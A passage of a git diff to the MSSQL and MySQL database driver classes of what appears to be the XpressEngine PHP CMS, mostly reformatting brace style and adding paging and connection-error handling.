if(count($primary_list)) + { + $column_schema[] = sprintf("primary key (%s)", '"' . implode($primary_list, '","') . '"'); + } + + $schema = sprintf('create table [%s] (%s%s)', $this->addQuotes($table_name), "\n", implode($column_schema, ",\n")); + $output = $this->_query($schema); + if(!$output) + { + return false; + } + + if(count($unique_list)) + { + foreach($unique_list as $key => $val) + { + $query = sprintf("create unique index %s on %s (%s);", $key, $table_name, '[' . implode('],[', $val) . ']'); + $this->_query($query); + } + } + + if(count($index_list)) + { + foreach($index_list as $key => $val) + { + $query = sprintf("create index %s on %s (%s);", $key, $table_name, '[' . implode('],[', $val) . ']'); + $this->_query($query); + } + } + return true; + } + } + + /** + * Handles insertAct + * @todo Lookup _filterNumber against sql injection - see if it is still needed and how to integrate + * @param Object $queryObject + * @return resource + */ + function _executeInsertAct($queryObject) + { + $query = $this->getInsertSql($queryObject, false); + $this->param = $queryObject->getArguments(); + return $this->_query($query); + } + + /** + * Handles updateAct + * @param Object $queryObject + * @return resource + */ + function _executeUpdateAct($queryObject) + { + $query = $this->getUpdateSql($queryObject, false); + $this->param = $queryObject->getArguments(); + return $this->_query($query); + } + + /** + * Return update query string + * @param object $query + * @param boolean $with_values + * @param boolean $with_priority + * @return string + */ + function getUpdateSql($query, $with_values = true, $with_priority = false) + { + $columnsList = $query->getUpdateString($with_values); + if($columnsList == '') + { + return new Object(-1, "Invalid query"); + } + + $from = $query->getFromString($with_values); + if($from == '') + { + return new Object(-1, "Invalid query"); + } + + $tables = $query->getTables(); + $alias_list = ''; + foreach($tables as $table) + { + $alias_list .= $table->getAlias(); + } + implode(',', explode(' ', $alias_list)); + + $where = $query->getWhereString($with_values); + if($where != '') + { + $where = ' WHERE ' . $where; + } + + $priority = $with_priority ? $query->getPriority() : ''; + + return "UPDATE $priority $alias_list SET $columnsList FROM " . $from . $where; + } + + /** + * Handles deleteAct + * @param Object $queryObject + * @return resource + */ + function _executeDeleteAct($queryObject) + { + $query = $this->getDeleteSql($queryObject, false); + $this->param = $queryObject->getArguments(); + return $this->_query($query); + } + + /** + * Return select query string + * @param object $query + * @param boolean $with_values + * @return string + */ + function getSelectSql($query, $with_values = TRUE, $connection=NULL) + { + $with_values = false; + + //$limitOffset = $query->getLimit()->getOffset(); + //if($limitOffset) + // TODO Implement Limit with offset with subquery + $limit = ''; + $limitCount = ''; + $limitQueryPart = $query->getLimit(); + if($limitQueryPart) + { + $limitCount = $limitQueryPart->getLimit(); + } + if($limitCount != '') + { + $limit = 'SELECT TOP ' . $limitCount; + } + + $select = $query->getSelectString($with_values); + if($select == '') + { + return new Object(-1, "Invalid query"); + } + if($limit != '') + { + $select = $limit . ' ' . $select; + } + else + { + $select = 'SELECT ' . $select; + } + + $from = $query->getFromString($with_values); + if($from == '') + { + return new Object(-1, "Invalid query"); + } + $from = ' FROM ' . $from; + + $where = $query->getWhereString($with_values); + if($where != '') + { + $where = ' WHERE ' . $where; + } + + $groupBy = $query->getGroupByString(); + if($groupBy != '') + { + $groupBy = ' GROUP BY ' . $groupBy; + } + + $orderBy = $query->getOrderByString(); + if($orderBy != '') + { + $orderBy = ' ORDER BY ' . $orderBy; + } + + if($limitCount != '' && $query->limit->start > 0) + { + $order = $query->getOrder(); + $first_columns = array(); + foreach($order as $val) + { + $tmpColumnName = $val->getPureColumnName(); + $first_columns[] = sprintf('%s(%s) as %s', $val->getPureSortOrder()=='asc'?'max':'min', $tmpColumnName, $tmpColumnName); + $first_sub_columns[] = $tmpColumnName; + } + + $first_query = sprintf("select %s from (select top %d %s %s %s %s %s) xet", implode(',',$first_columns), $query->limit->start, implode(',',$first_sub_columns), $from, $where, $groupBy, $orderBy); + $this->param = $query->getArguments(); + $result = $this->__query($first_query, $connection); + $tmp = $this->_fetch($result); + + $sub_cond = array(); + foreach($order as $k => $v) + { + //for example... use Document + if(get_class($v->sort_order) == 'SortArgument') + { + $sort_order = $v->sort_order->value; + } + //for example... use comment, file + else + { + $sort_order = $v->sort_order; } - $start_count = ($page - 1) * $list_count; - $this->param = $queryObject->getArguments(); - $virtual_no = $total_count - $start_count; - $data = $this->_fetch($result, $virtual_no); + $sub_cond[] = sprintf("%s %s '%s'", $v->getPureColumnName(), $sort_order=='asc'?'>':'<', $tmp->{$v->getPureColumnName()}); + } + + if(!$where) + { + $sub_condition = ' WHERE ( '.implode(' and ',$sub_cond).' )'; + } + else + { + $sub_condition = ' and ( '.implode(' and ',$sub_cond).' )'; + } + } + return $select . ' ' . $from . ' ' . $where .$sub_condition. ' ' . $groupBy . ' ' . $orderBy; + } + + /** + * Handle selectAct + * In order to get a list of pages easily when selecting \n + * it supports a method as navigation + * @param Object $queryObject + * @param resource $connection + * @return Object + */ + function _executeSelectAct($queryObject, $connection = null) + { + $query = $this->getSelectSql($queryObject, true, $connection); + + if(strpos($query, "substr")) + { + $query = str_replace("substr", "substring", $query); + } + + // TODO Decide if we continue to pass parameters like this + $this->param = $queryObject->getArguments(); + + $query .= (__DEBUG_QUERY__ & 1 && $output->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; + $result = $this->_query($query, $connection); + + if($this->isError()) + { + return $this->queryError($queryObject); + } + else + { + return $this->queryPageLimit($queryObject, $result, $connection); + } + } + + /** + * Return the DBParser + * @param boolean $force + * @return DBParser + */ + function getParser($force = FALSE) + { + return new DBParser("[", "]", $this->prefix); + } + + /** + * If have a error, return error object + * @param Object $queryObject + * @return Object + */ + function queryError($queryObject) + { + $limit = $queryObject->getLimit(); + if($limit && $limit->isPageHandler()) + { + $buff = new Object (); + $buff->total_count = 0; + $buff->total_page = 0; + $buff->page = 1; + $buff->data = array(); + $buff->page_navigation = new PageHandler(/* $total_count */0, /* $total_page */1, /* $page */1, /* $page_count */10); //default page handler values + return $buff; + } + else + { + return; + } + } + + /** + * If select query execute, return page info + * @param Object $queryObject + * @param resource $result + * @param resource $connection + * @return Object Object with page info containing + */ + function queryPageLimit($queryObject, $result, $connection) + { + $limit = $queryObject->getLimit(); + if($limit && $limit->isPageHandler()) + { + // Total count + $temp_where = $queryObject->getWhereString(true, false); + $count_query = sprintf('select count(*) as "count" %s %s', 'FROM ' . $queryObject->getFromString(), ($temp_where === '' ? '' : ' WHERE ' . $temp_where)); + + // Check for distinct query and if found update count query structure + $temp_select = $queryObject->getSelectString(true); + $uses_distinct = strpos(strtolower($temp_select), "distinct") !== false; + $uses_groupby = $queryObject->getGroupByString() != ''; + if($uses_distinct || $uses_groupby) + { + $count_query = sprintf('select %s %s %s %s' + , $temp_select + , 'FROM ' . $queryObject->getFromString(true) + , ($temp_where === '' ? '' : ' WHERE ' . $temp_where) + , ($uses_groupby ? ' GROUP BY ' . $queryObject->getGroupByString() : '') + ); + + // If query uses grouping or distinct, count from original select + $count_query = sprintf('select count(*) as "count" from (%s) xet', $count_query); + } + + $count_query .= (__DEBUG_QUERY__ & 1 && $queryObject->queryID) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; + $this->param = $queryObject->getArguments(); + $result_count = $this->_query($count_query, $connection); + $count_output = $this->_fetch($result_count); + $total_count = (int) $count_output->count; + + $list_count = $limit->list_count->getValue(); + if(!$list_count) + { + $list_count = 20; + } + $page_count = $limit->page_count->getValue(); + if(!$page_count) + { + $page_count = 10; + } + $page = $limit->page->getValue(); + if(!$page || $page < 1) + { + $page = 1; + } + // Total pages + if($total_count) + { + $total_page = (int) (($total_count - 1) / $list_count) + 1; + } + else + { + $total_page = 1; + } + + // check the page variables + if($page > $total_page) + { + // If requested page is bigger than total number of pages, return empty list $buff = new Object (); $buff->total_count = $total_count; $buff->total_page = $total_page; $buff->page = $page; - $buff->data = $data; + $buff->data = array(); $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); - }else { - $data = $this->_fetch($result); - $buff = new Object (); - $buff->data = $data; + return $buff; if($queryObject->usesClickCount()) { @@ -736,8 +996,28 @@ $this->_executeUpdateAct($update_query); } } - return $buff; - } - } -?> + $start_count = ($page - 1) * $list_count; + $this->param = $queryObject->getArguments(); + $virtual_no = $total_count - $start_count; + $data = $this->_fetch($result, $virtual_no); + + $buff = new Object (); + $buff->total_count = $total_count; + $buff->total_page = $total_page; + $buff->page = $page; + $buff->data = $data; + $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); + } + else + { + $data = $this->_fetch($result); + $buff = new Object (); + $buff->data = $data; + } + return $buff; + } + +} +/* End of file DBMssql.class.php */ +/* Location: ./classes/db/DBMssql.class.php */ diff --git a/classes/db/DBMysql.class.php b/classes/db/DBMysql.class.php index 799f522d3..1e845a368 100644 --- a/classes/db/DBMysql.class.php +++ b/classes/db/DBMysql.class.php @@ -1,4 +1,5 @@ 'bigint', - 'number' => 'bigint', - 'varchar' => 'varchar', - 'char' => 'char', - 'text' => 'text', - 'bigtext' => 'longtext', - 'date' => 'varchar(14)', - 'float' => 'float', - ); + */ + var $column_type = array( + 'bignumber' => 'bigint', + 'number' => 'bigint', + 'varchar' => 'varchar', + 'char' => 'char', + 'text' => 'text', + 'bigtext' => 'longtext', + 'date' => 'varchar(14)', + 'float' => 'float', + ); - /** - * Constructor + /** + * Constructor * @return void - */ - function DBMysql() { - $this->_setDBInfo(); - $this->_connect(); - } + */ + function DBMysql() + { + $this->_setDBInfo(); + $this->_connect(); + } /** * Create an instance of this class * @return DBMysql return DBMysql object instance */ - function create() { - return new DBMysql; - } + function create() + { + return new DBMysql; + } /** * Return if supportable * Check 'mysql_connect' function exists. * @return boolean */ - function isSupported() { - if(!function_exists('mysql_connect')) return false; - return true; - } + function isSupported() + { + if(!function_exists('mysql_connect')) + { + return false; + } + return true; + } /** * DB Connect @@ -69,32 +77,42 @@ class DBMysql extends DB { * @param array $connection connection's value is db_hostname, db_port, db_database, db_userid, db_password * @return resource */ - function __connect($connection) { - // Ignore if no DB information exists - if (strpos($connection["db_hostname"], ':') === false && $connection["db_port"]) - $connection["db_hostname"] .= ':' . $connection["db_port"]; + function __connect($connection) + { + // Ignore if no DB information exists + if(strpos($connection["db_hostname"], ':') === false && $connection["db_port"]) + { + $connection["db_hostname"] .= ':' . $connection["db_port"]; + } - // Attempt to connect - $result = @mysql_connect($connection["db_hostname"], $connection["db_userid"], $connection["db_password"]); + // Attempt to connect + $result = @mysql_connect($connection["db_hostname"], $connection["db_userid"], $connection["db_password"]); + if(!$result) + { + exit('XE cannot connect to DB.'); + } - if(mysql_error()) { - $this->setError(mysql_errno(), mysql_error()); - return; - } - // Error appears if the version is lower than 4.1 - if(mysql_get_server_info($result)<"4.1") { - $this->setError(-1, "XE cannot be installed under the version of mysql 4.1. Current mysql version is ".mysql_get_server_info()); - return; - } - // select db - @mysql_select_db($connection["db_database"], $result); - if(mysql_error()) { - $this->setError(mysql_errno(), mysql_error()); - return; - } + if(mysql_error()) + { + $this->setError(mysql_errno(), mysql_error()); + return; + } + // Error appears if the version is lower than 4.1 + if(mysql_get_server_info($result) < "4.1") + { + $this->setError(-1, "XE cannot be installed under the version of mysql 4.1. Current mysql version is " . mysql_get_server_info()); + return; + } + // select db + @mysql_select_db($connection["db_database"], $result); + if(mysql_error()) + { + $this->setError(mysql_errno(), mysql_error()); + return; + } - return $result; - } + return $result; + } /** * If have a task after connection, add a taks in this method @@ -102,10 +120,11 @@ class DBMysql extends DB { * @param resource $connection * @return void */ - function _afterConnect($connection){ - // Set utf8 if a database is MySQL - $this->_query("set names 'utf8'", $connection); - } + function _afterConnect($connection) + { + // Set utf8 if a database is MySQL + $this->_query("set names 'utf8'", $connection); + } /** * DB disconnection @@ -113,47 +132,58 @@ class DBMysql extends DB { * @param resource $connection * @return void */ - function _close($connection) { - @mysql_close($connection); - } + function _close($connection) + { + @mysql_close($connection); + } /** * Handles quatation of the string variables from the query * @param string $string * @return string */ - function addQuotes($string) { - if(version_compare(PHP_VERSION, "5.9.0", "<") && get_magic_quotes_gpc()) $string = stripslashes(str_replace("\\","\\\\",$string)); - if(!is_numeric($string)) $string = @mysql_real_escape_string($string); - return $string; - } + function addQuotes($string) + { + if(version_compare(PHP_VERSION, "5.9.0", "<") && get_magic_quotes_gpc()) + { + $string = stripslashes(str_replace("\\", "\\\\", $string)); + } + if(!is_numeric($string)) + { + $string = @mysql_real_escape_string($string); + } + return $string; + } /** * DB transaction start * this method is private * @return boolean */ - function _begin() { - return true; - } + function _begin() + { + return true; + } /** * DB transaction rollback * this method is private * @return boolean */ - function _rollback() { - return true; - } + function _rollback() + { + return true; + } /** * DB transaction commit * this method is private * @return boolean */ - function _commit() { - return true; - } + function _commit() + { + return true; + } /** * Execute the query @@ -162,14 +192,22 @@ class DBMysql extends DB { * @param resource $connection * @return resource */ - function __query($query, $connection) { - // Run the query statement - $result = mysql_query($query, $connection); - // Error Check - if(mysql_error($connection)) $this->setError(mysql_errno($connection), mysql_error($connection)); - // Return result - return $result; - } + function __query($query, $connection) + { + if(!$connection) + { + exit('XE cannot handle DB connection.'); + } + // Run the query statement + $result = mysql_query($query, $connection); + // Error Check + if(mysql_error($connection)) + { + $this->setError(mysql_errno($connection), mysql_error($connection)); + } + // Return result + return $result; + } /** * Fetch the result @@ -177,37 +215,57 @@ class DBMysql extends DB { * @param int|NULL $arrayIndexEndValue * @return array */ - function _fetch($result, $arrayIndexEndValue = NULL) { - $output = array(); - if(!$this->isConnected() || $this->isError() || !$result) return $output; - while($tmp = $this->db_fetch_object($result)) { - if($arrayIndexEndValue) $output[$arrayIndexEndValue--] = $tmp; - else $output[] = $tmp; - } - if(count($output)==1){ - if(isset($arrayIndexEndValue)) return $output; - else return $output[0]; - } - $this->db_free_result($result); - return $output; - } + function _fetch($result, $arrayIndexEndValue = NULL) + { + $output = array(); + if(!$this->isConnected() || $this->isError() || !$result) + { + return $output; + } + while($tmp = $this->db_fetch_object($result)) + { + if($arrayIndexEndValue) + { + $output[$arrayIndexEndValue--] = $tmp; + } + else + { + $output[] = $tmp; + } + } + if(count($output) == 1) + { + if(isset($arrayIndexEndValue)) + { + return $output; + } + else + { + return $output[0]; + } + } + $this->db_free_result($result); + return $output; + } /** * Return the sequence value incremented by 1 * Auto_increment column only used in the sequence table * @return int */ - function getNextSequence() { - $query = sprintf("insert into `%ssequence` (seq) values ('0')", $this->prefix); - $this->_query($query); - $sequence = $this->db_insert_id(); - if($sequence % 10000 == 0) { - $query = sprintf("delete from `%ssequence` where seq < %d", $this->prefix, $sequence); - $this->_query($query); - } + function getNextSequence() + { + $query = sprintf("insert into `%ssequence` (seq) values ('0')", $this->prefix); + $this->_query($query); + $sequence = $this->db_insert_id(); + if($sequence % 10000 == 0) + { + $query = sprintf("delete from `%ssequence` where seq < %d", $this->prefix, $sequence); + $this->_query($query); + } - return $sequence; - } + return $sequence; + } /** * Function to obtain mysql old password(mysql only) @@ -215,26 +273,34 @@ class DBMysql extends DB { * @param string $saved_password saved password in DBMS * @return boolean */ - function isValidOldPassword($password, $saved_password) { - $query = sprintf("select password('%s') as password, old_password('%s') as old_password", $this->addQuotes($password), $this->addQuotes($password)); - $result = $this->_query($query); - $tmp = $this->_fetch($result); - if($tmp->password == $saved_password || $tmp->old_password == $saved_password) return true; - return false; - } + function isValidOldPassword($password, $saved_password) + { + $query = sprintf("select password('%s') as password, old_password('%s') as old_password", $this->addQuotes($password), $this->addQuotes($password)); + $result = $this->_query($query); + $tmp = $this->_fetch($result); + if($tmp->password == $saved_password || $tmp->old_password == $saved_password) + { + return true; + } + return false; + } /** * Check a table exists status * @param string $target_name * @return boolean */ - function isTableExists($target_name) { - $query = sprintf("show tables like '%s%s'", $this->prefix, $this->addQuotes($target_name)); - $result = $this->_query($query); - $tmp = $this->_fetch($result); - if(!$tmp) return false; - return true; - } + function isTableExists($target_name) + { + $query = sprintf("show tables like '%s%s'", $this->prefix, $this->addQuotes($target_name)); + $result = $this->_query($query); + $tmp = $this->_fetch($result); + if(!$tmp) + { + return false; + } + return true; + } /** * Add a column to the table @@ -246,18 +312,34 @@ class DBMysql extends DB { * @param boolean $notnull not null status, default value is false * @return void */ - function addColumn($table_name, $column_name, $type='number', $size='', $default = '', $notnull=false) { - $type = $this->column_type[$type]; - if(strtoupper($type)=='INTEGER') $size = ''; + function addColumn($table_name, $column_name, $type = 'number', $size = '', $default = '', $notnull = false) + { + $type = $this->column_type[$type]; + if(strtoupper($type) == 'INTEGER') + { + $size = ''; + } - $query = sprintf("alter table `%s%s` add `%s` ", $this->prefix, $table_name, $column_name); - if($size) $query .= sprintf(" %s(%s) ", $type, $size); - else $query .= sprintf(" %s ", $type); - if($default) $query .= sprintf(" default '%s' ", $default); - if($notnull) $query .= " not null "; + $query = sprintf("alter table `%s%s` add `%s` ", $this->prefix, $table_name, $column_name); + if($size) + { + $query .= sprintf(" %s(%s) ", $type, $size); + } + else + { + $query .= sprintf(" %s ", $type); + } + if($default) + { + $query .= sprintf(" default '%s' ", $default); + } + if($notnull) + { + $query .= " not null "; + } - return $this->_query($query); - } + return $this->_query($query); + } /** * Drop a column from the table @@ -265,10 +347,11 @@ class DBMysql extends DB { * @param string $column_name column name * @return void */ - function dropColumn($table_name, $column_name) { - $query = sprintf("alter table `%s%s` drop `%s` ", $this->prefix, $table_name, $column_name); - $this->_query($query); - } + function dropColumn($table_name, $column_name) + { + $query = sprintf("alter table `%s%s` drop `%s` ", $this->prefix, $table_name, $column_name); + $this->_query($query); + } /** * Check column exist status of the table @@ -276,20 +359,29 @@ class DBMysql extends DB { * @param string $column_name column name * @return boolean */ - function isColumnExists($table_name, $column_name) { - $query = sprintf("show fields from `%s%s`", $this->prefix, $table_name); - $result = $this->_query($query); - if($this->isError()) return; - $output = $this->_fetch($result); - if($output) { - $column_name = strtolower($column_name); - foreach($output as $key => $val) { - $name = strtolower($val->Field); - if($column_name == $name) return true; - } - } - return false; - } + function isColumnExists($table_name, $column_name) + { + $query = sprintf("show fields from `%s%s`", $this->prefix, $table_name); + $result = $this->_query($query); + if($this->isError()) + { + return; + } + $output = $this->_fetch($result); + if($output) + { + $column_name = strtolower($column_name); + foreach($output as $key => $val) + { + $name = strtolower($val->Field); + if($column_name == $name) + { + return true; + } + } + } + return false; + } /** * Add an index to the table @@ -301,12 +393,16 @@ class DBMysql extends DB { * @param boolean $is_unique * @return void */ - function addIndex($table_name, $index_name, $target_columns, $is_unique = false) { - if(!is_array($target_columns)) $target_columns = array($target_columns); + function addIndex($table_name, $index_name, $target_columns, $is_unique = false) + { + if(!is_array($target_columns)) + { + $target_columns = array($target_columns); + } - $query = sprintf("alter table `%s%s` add %s index `%s` (%s);", $this->prefix, $table_name, $is_unique?'unique':'', $index_name, implode(',',$target_columns)); - $this->_query($query); - } + $query = sprintf("alter table `%s%s` add %s index `%s` (%s);", $this->prefix, $table_name, $is_unique ? 'unique' : '', $index_name, implode(',', $target_columns)); + $this->_query($query); + } /** * Drop an index from the table @@ -315,11 +411,11 @@ class DBMysql extends DB { * @param boolean $is_unique * @return void */ - function dropIndex($table_name, $index_name, $is_unique = false) { - $query = sprintf("alter table `%s%s` drop index `%s`", $this->prefix, $table_name, $index_name); - $this->_query($query); - } - + function dropIndex($table_name, $index_name, $is_unique = false) + { + $query = sprintf("alter table `%s%s` drop index `%s`", $this->prefix, $table_name, $index_name); + $this->_query($query); + } /** * Check index status of the table @@ -327,41 +423,60 @@ class DBMysql extends DB { * @param string $index_name index name * @return boolean */ - function isIndexExists($table_name, $index_name) { - //$query = sprintf("show indexes from %s%s where key_name = '%s' ", $this->prefix, $table_name, $index_name); - $query = sprintf("show indexes from `%s%s`", $this->prefix, $table_name); - $result = $this->_query($query); - if($this->isError()) return; - $output = $this->_fetch($result); - if(!$output) return; - if(!is_array($output)) $output = array($output); + function isIndexExists($table_name, $index_name) + { + //$query = sprintf("show indexes from %s%s where key_name = '%s' ", $this->prefix, $table_name, $index_name); + $query = sprintf("show indexes from `%s%s`", $this->prefix, $table_name); + $result = $this->_query($query); + if($this->isError()) + { + return; + } + $output = $this->_fetch($result); + if(!$output) + { + return; + } + if(!is_array($output)) + { + $output = array($output); + } - for($i=0;$iKey_name == $index_name) return true; - } - return false; - } + for($i = 0; $i < count($output); $i++) + { + if($output[$i]->Key_name == $index_name) + { + return true; + } + } + return false; + } /** * Creates a table by using xml contents * @param string $xml_doc xml schema contents * @return void|object */ - function createTableByXml($xml_doc) { - return $this->_createTable($xml_doc); - } + function createTableByXml($xml_doc) + { + return $this->_createTable($xml_doc); + } /** * Creates a table by using xml file path * @param string $file_name xml schema file path * @return void|object */ - function createTableByXmlFile($file_name) { - if(!file_exists($file_name)) return; - // read xml file - $buff = FileHandler::readFile($file_name); - return $this->_createTable($buff); - } + function createTableByXmlFile($file_name) + { + if(!file_exists($file_name)) + { + return; + } + // read xml file + $buff = FileHandler::readFile($file_name); + return $this->_createTable($buff); + } /** * Create table by using the schema xml @@ -372,68 +487,87 @@ class DBMysql extends DB { * @param string $xml_doc xml schema contents * @return void|object */ - function _createTable($xml_doc) { - // xml parsing - $oXml = new XmlParser(); - $xml_obj = $oXml->parse($xml_doc); - // Create a table schema - $table_name = $xml_obj->table->attrs->name; - if($this->isTableExists($table_name)) return; - $table_name = $this->prefix.$table_name; + function _createTable($xml_doc) + { + // xml parsing + $oXml = new XmlParser(); + $xml_obj = $oXml->parse($xml_doc); + // Create a table schema + $table_name = $xml_obj->table->attrs->name; + if($this->isTableExists($table_name)) + { + return; + } + $table_name = $this->prefix . $table_name; - if(!is_array($xml_obj->table->column)) $columns[] = $xml_obj->table->column; - else $columns = $xml_obj->table->column; + if(!is_array($xml_obj->table->column)) + { + $columns[] = $xml_obj->table->column; + } + else + { + $columns = $xml_obj->table->column; + } - $primary_list = array(); - $unique_list = array(); - $index_list = array(); + $primary_list = array(); + $unique_list = array(); + $index_list = array(); - foreach($columns as $column) { - $name = $column->attrs->name; - $type = $column->attrs->type; - $size = $column->attrs->size; - $notnull = $column->attrs->notnull; - $primary_key = $column->attrs->primary_key; - $index = $column->attrs->index; - $unique = $column->attrs->unique; - $default = $column->attrs->default; - $auto_increment = $column->attrs->auto_increment; + foreach($columns as $column) + { + $name = $column->attrs->name; + $type = $column->attrs->type; + $size = $column->attrs->size; + $notnull = $column->attrs->notnull; + $primary_key = $column->attrs->primary_key; + $index = $column->attrs->index; + $unique = $column->attrs->unique; + $default = $column->attrs->default; + $auto_increment = $column->attrs->auto_increment; - $column_schema[] = sprintf('`%s` %s%s %s %s %s', - $name, - $this->column_type[$type], - $size?'('.$size.')':'', - isset($default)?"default '".$default."'":'', - $notnull?'not null':'', - $auto_increment?'auto_increment':'' - ); + $column_schema[] = sprintf('`%s` %s%s %s %s %s', $name, $this->column_type[$type], $size ? '(' . $size . ')' : '', isset($default) ? "default '" . $default . "'" : '', $notnull ? 'not null' : '', $auto_increment ? 'auto_increment' : ''); - if($primary_key) $primary_list[] = $name; - else if($unique) $unique_list[$unique][] = $name; - else if($index) $index_list[$index][] = $name; - } + if($primary_key) + { + $primary_list[] = $name; + } + else if($unique) + { + $unique_list[$unique][] = $name; + } + else if($index) + { + $index_list[$index][] = $name; + } + } - if(count($primary_list)) { - $column_schema[] = sprintf("primary key (%s)", '`'.implode($primary_list,'`,`').'`'); - } + if(count($primary_list)) + { + $column_schema[] = sprintf("primary key (%s)", '`' . implode($primary_list, '`,`') . '`'); + } - if(count($unique_list)) { - foreach($unique_list as $key => $val) { - $column_schema[] = sprintf("unique %s (%s)", $key, '`'.implode($val,'`,`').'`'); - } - } + if(count($unique_list)) + { + foreach($unique_list as $key => $val) + { + $column_schema[] = sprintf("unique %s (%s)", $key, '`' . implode($val, '`,`') . '`'); + } + } - if(count($index_list)) { - foreach($index_list as $key => $val) { - $column_schema[] = sprintf("index %s (%s)", $key, '`'.implode($val,'`,`').'`'); - } - } + if(count($index_list)) + { + foreach($index_list as $key => $val) + { + $column_schema[] = sprintf("index %s (%s)", $key, '`' . implode($val, '`,`') . '`'); + } + } - $schema = sprintf('create table `%s` (%s%s) %s;', $this->addQuotes($table_name), "\n", implode($column_schema,",\n"), "ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci"); + $schema = sprintf('create table `%s` (%s%s) %s;', $this->addQuotes($table_name), "\n", implode($column_schema, ",\n"), "ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci"); - $output = $this->_query($schema); - if(!$output) return false; - } + $output = $this->_query($schema); + if(!$output) + return false; + } /** * Handles insertAct @@ -441,12 +575,16 @@ class DBMysql extends DB { * @param boolean $with_values * @return resource */ - function _executeInsertAct($queryObject, $with_values = true) { - $query = $this->getInsertSql($queryObject, $with_values, true); + function _executeInsertAct($queryObject, $with_values = true) + { + $query = $this->getInsertSql($queryObject, $with_values, true); $query .= (__DEBUG_QUERY__ & 1 && $this->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; - if(is_a($query, 'Object')) return; - return $this->_query($query); - } + if(is_a($query, 'Object')) + { + return; + } + return $this->_query($query); + } /** * Handles updateAct @@ -454,12 +592,16 @@ class DBMysql extends DB { * @param boolean $with_values * @return resource */ - function _executeUpdateAct($queryObject, $with_values = true) { - $query = $this->getUpdateSql($queryObject, $with_values, true); + function _executeUpdateAct($queryObject, $with_values = true) + { + $query = $this->getUpdateSql($queryObject, $with_values, true); $query .= (__DEBUG_QUERY__ & 1 && $this->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; - if(is_a($query, 'Object')) return; - return $this->_query($query); - } + if(is_a($query, 'Object')) + { + return; + } + return $this->_query($query); + } /** * Handles deleteAct @@ -467,12 +609,16 @@ class DBMysql extends DB { * @param boolean $with_values * @return resource */ - function _executeDeleteAct($queryObject, $with_values = true) { - $query = $this->getDeleteSql($queryObject, $with_values, true); + function _executeDeleteAct($queryObject, $with_values = true) + { + $query = $this->getDeleteSql($queryObject, $with_values, true); $query .= (__DEBUG_QUERY__ & 1 && $this->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; - if(is_a($query, 'Object')) return; - return $this->_query($query); - } + if(is_a($query, 'Object')) + { + return; + } + return $this->_query($query); + } /** * Handle selectAct @@ -483,24 +629,32 @@ class DBMysql extends DB { * @param boolean $with_values * @return Object */ - function _executeSelectAct($queryObject, $connection = null, $with_values = true) { - $limit = $queryObject->getLimit(); - $result = NULL; - if ($limit && $limit->isPageHandler()) - return $this->queryPageLimit($queryObject, $result, $connection, $with_values); - else { - $query = $this->getSelectSql($queryObject, $with_values); - if (is_a($query, 'Object')) - return; - $query .= (__DEBUG_QUERY__ & 1 && $queryObject->queryID) ? sprintf(' ' . $this->comment_syntax, $queryObject->queryID) : ''; + function _executeSelectAct($queryObject, $connection = null, $with_values = true) + { + $limit = $queryObject->getLimit(); + $result = NULL; + if($limit && $limit->isPageHandler()) + { + return $this->queryPageLimit($queryObject, $result, $connection, $with_values); + } + else + { + $query = $this->getSelectSql($queryObject, $with_values); + if(is_a($query, 'Object')) + { + return; + } + $query .= (__DEBUG_QUERY__ & 1 && $queryObject->queryID) ? sprintf(' ' . $this->comment_syntax, $queryObject->queryID) : ''; - $result = $this->_query($query, $connection); - if ($this->isError()) - return $this->queryError($queryObject); + $result = $this->_query($query, $connection); + if($this->isError()) + { + return $this->queryError($queryObject); + } - $data = $this->_fetch($result); - $buff = new Object (); - $buff->data = $data; + $data = $this->_fetch($result); + $buff = new Object (); + $buff->data = $data; if($queryObject->usesClickCount()) { @@ -508,9 +662,9 @@ class DBMysql extends DB { $this->_executeUpdateAct($update_query, $with_values); } - return $buff; - } - } + return $buff; + } + } /** * Get the ID generated in the last query @@ -518,59 +672,66 @@ class DBMysql extends DB { * This method use only mysql * @return int */ - function db_insert_id() - { - $connection = $this->_getConnection('master'); - return mysql_insert_id($connection); - } + function db_insert_id() + { + $connection = $this->_getConnection('master'); + return mysql_insert_id($connection); + } /** * Fetch a result row as an object * @param resource $result * @return object */ - function db_fetch_object(&$result) - { - return mysql_fetch_object($result); - } + function db_fetch_object(&$result) + { + return mysql_fetch_object($result); + } /** * Free result memory * @param resource $result * @return boolean Returns TRUE on success or FALSE on failure. */ - function db_free_result(&$result){ - return mysql_free_result($result); - } + function db_free_result(&$result) + { + return mysql_free_result($result); + } /** * Return the DBParser * @param boolean $force * @return DBParser */ - function &getParser($force = FALSE){ - $dbParser = new DBParser('`', '`', $this->prefix); - return $dbParser; - } + function &getParser($force = FALSE) + { + $dbParser = new DBParser('`', '`', $this->prefix); + return $dbParser; + } /** * If have a error, return error object * @param Object $queryObject * @return Object */ - function queryError($queryObject){ - $limit = $queryObject->getLimit(); - if ($limit && $limit->isPageHandler()){ - $buff = new Object (); - $buff->total_count = 0; - $buff->total_page = 0; - $buff->page = 1; - $buff->data = array (); - $buff->page_navigation = new PageHandler (/*$total_count*/0, /*$total_page*/1, /*$page*/1, /*$page_count*/10);//default page handler values - return $buff; - }else - return; - } + function queryError($queryObject) + { + $limit = $queryObject->getLimit(); + if($limit && $limit->isPageHandler()) + { + $buff = new Object (); + $buff->total_count = 0; + $buff->total_page = 0; + $buff->page = 1; + $buff->data = array(); + $buff->page_navigation = new PageHandler(/* $total_count */0, /* $total_page */1, /* $page */1, /* $page_count */10); //default page handler values + return $buff; + } + else + { + return; + } + } /** * If select query execute, return page info @@ -580,77 +741,95 @@ class DBMysql extends DB { * @param boolean $with_values * @return Object Object with page info containing */ - function queryPageLimit($queryObject, $result, $connection, $with_values = true){ - $limit = $queryObject->getLimit(); - // Total count - $temp_where = $queryObject->getWhereString($with_values, false); - $count_query = sprintf('select count(*) as "count" %s %s', 'FROM ' . $queryObject->getFromString($with_values), ($temp_where === '' ? '' : ' WHERE '. $temp_where)); + function queryPageLimit($queryObject, $result, $connection, $with_values = true) + { + $limit = $queryObject->getLimit(); + // Total count + $temp_where = 